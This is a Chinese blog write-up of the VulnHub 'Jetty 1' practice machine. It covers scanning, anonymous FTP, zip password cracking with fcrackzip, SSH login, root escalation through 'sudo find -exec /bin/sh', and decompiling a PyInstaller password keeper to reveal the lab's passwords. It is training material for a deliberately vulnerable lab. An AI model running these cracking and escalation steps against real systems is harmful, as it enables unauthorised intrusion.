当前位置:首页 > 网络安全 > 正文内容

VulnHub-JETTY 1 靶场渗透测试

访客3年前 (2021-04-15)网络安全690

作者:ch4nge
时间:2021.1.24

靶场信息:

地址:https://www.vulnhub.com/entry/jetty-1,621/
发布日期:2020年12月9日
难度:容易/中级
目标:获得root特权&获得所有证据来证明用户正在欺诈

运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)

描述:

水族馆生命有限公司已经联系你对他们的一台机器进行测试。他们怀疑他们的一名雇员在销售假票时犯了欺诈罪。他们想让你闯入他的电脑,升级权限,搜索任何能证明这种行为的证据。

解压密码:

额外的信息:

  • 可疑的用户名是Squiddie。


  • 他负责水族馆的门票销售。


  • 以太网设置设置为启用DHCP的NAT。


  • 您应该在VLAN中找到IP。

这台机器的想法是,它不仅要获得root权限,还要获得所有证据来证明用户在实施欺诈。

困难:我想说的是,在获得root权限方面,难度是中等的。如果我们考虑所有获取证据的步骤,就很难了。

前言

? ? ?本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT网络模式。本次演练使用kali系统按照渗透测试的过程进行操作。此次靶机渗透难度为简单/中等,操作没有什么坑点,信息搜集做好就可以啦,就是最后犯罪证据的搜集复杂很多,每次演练都有收获。文章有不对的地方欢迎师傅指正~

说明:靶机中途修改了ip地址,变为10.0.0.x

一、信息搜集

1. 靶机ip

使用nmap进行扫描,得到ip为192.168.140.129

nmap -sP 192.168.140.0/24

2. 靶机端口服务版本

nmap -sS -sV -T5 -A -p- 192.168.140.129 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 65507/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)

3. 网站信息搜集

访问192.168.140.129

4. 目录扫描

dirb http://192.168.140.129/

得到

+ http://192.168.140.129/index.html (CODE:200|SIZE:23) + http://192.168.140.129/robots.txt (CODE:200|SIZE:104) + http://192.168.140.129/server-status (CODE:403|SIZE:303)

http://192.168.140.129/robots.txt内容如下

User-agent: * Disallow: /dir/ Disallow: /passwords/ Disallow: /facebook_photos Disallow: /admin/secret

挨个看了一下,没有得到可用信息。

二、漏洞探测&漏洞利用

1. ftp服务匿名访问

回头看看nmap扫描出来的服务信息,发现21端口的信息有点东西,之前瞟了一眼没细看

搜索+翻译,得知可以匿名登录ftp,试试

输入ftp,密码处直接回车

wget下载文件,使用 -r参数指定递归下载

README.txt文件中有提示,意思是压缩包密码是公司默认的

Hi Henry, here you have your ssh's password. As you can see the file is encrypted with the default company's password. Please, once you have read this file, run the following command on your computer to close the FTP server on your side. IT IS VERY IMPORTANT!! CMD: service ftp stop. Regards, Michael.

得到两个用户名:Henry、Michael

不知道公司默认密码是啥,直接爆破,kali系统使用fcrackzip工具进行zip密码暴力破解,字典使用kali自带的rockyou.txt

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt sshpass.zip

得到解压密码 seahorse!

解压压缩包得到文件中的密码

Squ1d4r3Th3B3$t0fTh3W0rLd

使用这个密码登录,登录用户名Henry、Michael都不对,想起来靶机描述里面说了可疑用户名squiddie

注意首字母是小写,登录成功!


三、权限提升

1. 升级交互式shell

经过尝试,发现系统中安装有python2和python3,使用python2升级交互式shell,因为开始的shell限制很大,一句话的脚本无法直接执行的,需要在python命令行交互界面进行操作

squiddie:~$ python Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) [GCC 7.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import pty>>> pty.spawn("/bin/bash")

2. find提权

参数-l 显示出自己(执行 sudo 的使用者)的权限

太棒了,find命令不需要密码,这个时候sudo find命令是可以直接用来提权到root权限。

sudo find . -exec /bin/sh \; -quit

升级交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

四、证据收集

1. user.txt

在路径/home/squiddie/Desktop发现文件To_Michael.txt和user.txt

user.txt中内容是md5密文

dd69f649f3e5159ddd10b83b56b2dda2

解密得到 2004737969


2. root.txt

在/home/microsystems/Desktop发现root.txt

root@jetty:/home/microsystems/Desktop# cat root.txt
Try Harder!

3. proof.txt

在/root/Desktop发现note.txt和proof.txt

root@jetty:/root/Desktop# cat note.txt Say to Mary that I want to go on vacation on 2 weeks. root@jetty:/root/Desktop# cat proof.txt 136d05d01c8af5d3e3520d2c270f91f1

解密得到 836934778

4. 系统定时任务

crontab -l */2 * * * * /etc/cron.daily/backup

表示每隔2分钟执行一次/etc/cron.daily/backup文件脚本,参考解释

查看backup脚本,是用来备份文件,然后设置权限700,仅root用户组可读可写可执行

#!/bin/sh #BACKUP FILES EVERY TWO MINUTES rsync -raz /root/Documents/.docs /var/backups/ chmod 700 /var/backups/.docs

可以看出,文件从/root/Documents/.docs向/var/backups/.docs备份,rsync命令详解

查看/var/backups/.docs路径,有很多表格

拷贝到本地进行分析,有三个表格是需要密码才能打开的

在Password_keeper文件夹内有用来查看密码的小程序,查看密码也需要输入密码

表格密码 密文

使用说明

要想获得表格的密码,得到小程序输入的密码即可,将程序反编译,并分析代码

这个程序是用pyinstaller编译的,可以使用工具反编译得到源码

5. 反编译Pyinstaller打包的exe

(1)使用反编译工具,下载地址 https://github.com/extremecoders-re/pyinstxtractor

执行之后会在pyinstxtractor.py同目录下生成一个文件夹(注意,使用python2运行,python3我这里会在反编译pyc的那一步报错)

python2 .\pyinstxtractor.py ..\password_keeper.exe

现在的pyc文件还不是源代码,需要继续反编译

(2)使用uncompyle6反编译pyc文件

安装uncompyle

pip install uncompyle

反编译pyc文件

uncompyle6 .\password_keeper.pyc > password_keeper.py

正确执行结果是没有输出的,直接看到文件夹中多了一个password_keeper.py文件

# uncompyle6 version 3.7.4 # Python bytecode 2.7 (62211) # Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)] # Embedded file name: password_keeper.py from Cryptodome.Cipher import AES import base64 BS=16 pad=lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad=lambda s: s[0:-ord(s[(-1)])] def cipher_message(key, message, iv): message=pad(message) key=base64.b64decode(key) obj=AES.new(key, AES.MODE_CBC, iv) ciphertext=obj.encrypt(message) ciphertext=base64.b64encode(ciphertext) return ciphertext def decipher_message(key, ciphertext, iv): ciphertext=base64.b64decode(ciphertext) key=base64.b64decode(key) obj2=AES.new(key, AES.MODE_CBC, iv) decipher_text=obj2.decrypt(ciphertext) decipher_text=unpad(decipher_text) return decipher_text def generate_key(ciphertext, tag, key, iv): ciphertext=cipher_message(key, ciphertext, iv) print '' print "Now copy this into your database.txt (It's the free version... pay for an automated tool!)" print '' print 'Tag Password' print tag + ' ' + ciphertext def show_keys(database, key, iv): check_permissions=raw_input('Insert password: ') if base64.b64encode(check_permissions)==key: for i in range(len(database[0])): ciphertext=database[1][i] decipher=decipher_message(key, ciphertext, iv) print ' ' print 'Tag: ' + database[0][i] + ' Password: ' + decipher print ' ' else: print '' print 'Tag: Instagram Password: WRONG ' print 'Tag: Facebook Password: PASSWORD ' print 'Tag: SSH Password: TRY ' print 'Tag: root Password: HARDER! ' print '' def read_database(): database=[[], []] f=open('database.txt', 'r') for line in f.readlines(): line=line.strip().split() database[0].append(line[0]) database[1].append(line[1]) f.close() return database def main(): print 'Welcome to the best password keeper ever!' print '__ __ _ _ __ ' print '\\ \\ / /__ __ _| | ___ _ | |/ /___ ___ _ __ ___ _ __ ' print " \\ \\ /\\ / / _ \/ _` | |/ / | | |_____| ' // _ \/ _ \\ '_ \\ / _ \\ '__|" print ' \\ V V / __/ (_| | <| |_| |_____| . \\ __/ __/ |_) | __/ | ' print ' \\_/\\_/ \\___|\\__,_|_|\\_\\__, | |_|\\_\\___|\\___| .__/ \\___|_| ' print ' |___/ |_| ' iv='166fe2294df5d0f3' key='N2FlMjE4ZmYyOTI4ZjZiMg==' database=read_database() loop=True while loop: print '' print 'Choose what you want to do: ' print '1) See your passwords!' print '2) Generate a cipher-password' print '3) Close' option=raw_input('Insert your selection here --> ') if option=='1': print '' print 'Showing content of your secret passwords...' print '' show_keys(database, key, iv) print '' returned=raw_input('Press any button to return to the menu...') elif option=='2': print '' print '' title=raw_input('Type the name of the application: ') password=raw_input('Type the password(BEWARE OF SHOULDER SURFING!!!): ') generate_key(password, title, key, iv) print '' print '' returned=raw_input('Press any button to return to the menu...') else: if option=='3': loop=False print '' return 'Bye Byeeeeeeeeeeeee' print '' print '' print 'WHAT? FAILURE TO COMMUNICATE... Reseting connection...' print '' print '' returned=raw_input('Press any button to return to the menu...') if __name__=='__main__': print main() # okay decompiling .\password_keeper.pyc

6. 分析代码,得到密码

在运行exe文件时,输入“1”是查询密码的功能,在代码中,输入1后会调用show_keys()函数

show_keys()函数

可以看出,输入的密码值正确时if条件成立,进行显示表格文件密码,所以输入的密码就是base64.decode(key)

N2FlMjE4ZmYyOTI4ZjZiMg==
解密后:7ae218ff2928f6b2

使用exe查看密码

Tag: instagram Password: S3x1B0y Tag: facebook Password: M4rK1sS0s3X1 Tag: Accountabilty_not_cooked Password: co8oiads13kt Tag: MoneyBalance Password: C5Y0wzGqq4Xw8XGD Tag: Pending_to_erase Password: 1hi2ChHrtkQsUTOc

7. 解密取证

文件名字取得很贴切了

Accountabilty_not_cooked.xlsx,密码co8oiads13kt。没有伪造的账单

AccountabiltyReportMorning-1112018.xlsx,没有加密。伪造后可以上交的账单报告

MoneyBalance.xlsx,密码C5Y0wzGqq4Xw8XGD。自己的非法收入金额

Pending_to_erase.xlsx,密码1hi2ChHrtkQsUTOc。等待删除的账单

总结

? ? ?这次靶场渗透不难,就是犯罪证据的查找没有了解,参考了一下大佬的做法,自己也做了一遍,有收获!继续努力。

参考

https://blog.csdn.net/weixin_43784056/article/details/112182458

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/106724.html

分享给朋友:

“VulnHub-JETTY 1 靶场渗透测试” 的相关文章

立秋是几月几日

说到立秋,大家可能还会觉得比较远,确实算一下也还有将近一个月的时间,大家知道今年的立秋是在什么时候吗,具体的时间是2020年8月7日09:06:03,星期五,农历六月十八,因此在这一天大家就可以吃很多的美食,那么接下来大家就随百思特小编一起了解看看~   立秋是几月...

洗米华小三(浅谈米花三笑的微博)

据长江网2021年11月26日23:49:22的最新消息,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议! 据悉,洗米华小三。猜测这是洗米华在暗中帮助着Mandy。挺想看他老婆小三都抛弃他的场面。 1.洗米华小三 m...

【紧急+重要】勒索病毒解决方案!附:MS17-010补丁下载

  滚动更新:2017年5月13日16:57:22   游侠安全网(良心网站,站长先贴上注意事项和解决方法!防止你看本文的时候就被加密了!   1、本次共计是自动化攻击,利用了Windows的MS17-010。但苹果的MacOS用户不用得意,因为在昨晚之前,我这里得到的好几起勒索攻击案例都是针对...

干洗对衣物有害吗

干洗对衣物有害吗 干洗剂实际上就是有机溶剂,所以对衣服多少都有点危害,只不过高级的干洗剂对衣服损伤小一些而已。 随着人们工作的繁忙和生活节奏的加快,现代人更多地把换下的衣物送到洗衣店干洗,以保证衣服不变形和有更多的时间休闲娱乐,这本是一件提高生活品质的好事,但据最新的研究显示,干洗衣物对身...

安宫牛黄丸 - 北京同仁堂安宫牛黄丸

能降低惊厥和死亡率,天然牛黄天然麝香。对突然脑埂塞,并且只有北京同仁堂生产的安宫牛黄丸才可以使用,北京同仁堂集团顾问金霭英老人说,局方至宝丹、与作用是清热解毒。 4月30之前是350元.重镑产品,公元1541年。平时还是要遵医嘱服用适合自己的降压药。同仁堂的安宫牛黄丸使用的是老方子,黄芩。 北京同仁...

兼职收入贷款好贷吗 「打零工收入证明范本」

银行申请信用卡的话,兼职。已连续在我公司。 一些银行是可以的,有还款能力就可以申请贷款。承担清偿责任。比如军人、为人民币。 只是打一个电话而已「直接按照给你的收入证明里面需要填写的,可以好贷申请办理贷款。有的规定兼职收入不得超过主收入的50。 如名下房产范本、对于兼职收入的金额以及流水账单,某公司借...

评论列表

世味馥妴
2年前 (2022-07-02)

.txtfcrackzip -D -u -p /usr/share/wordlists/rockyou.txt sshpass.zip得到解压密码 seahorse!解压压缩包得到文件中的密码Squ1d4r3Th3B3$t0fTh3W0rLd使用这个密码登录,登录用户名Henry、M

夙世等灯
2年前 (2022-07-02)

8.140.129nmap -sP 192.168.140.0/242. 靶机端口服务版本nmap -sS -sV -T5 -A -p- 192.168.140.129PORT STATE SERVICE

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。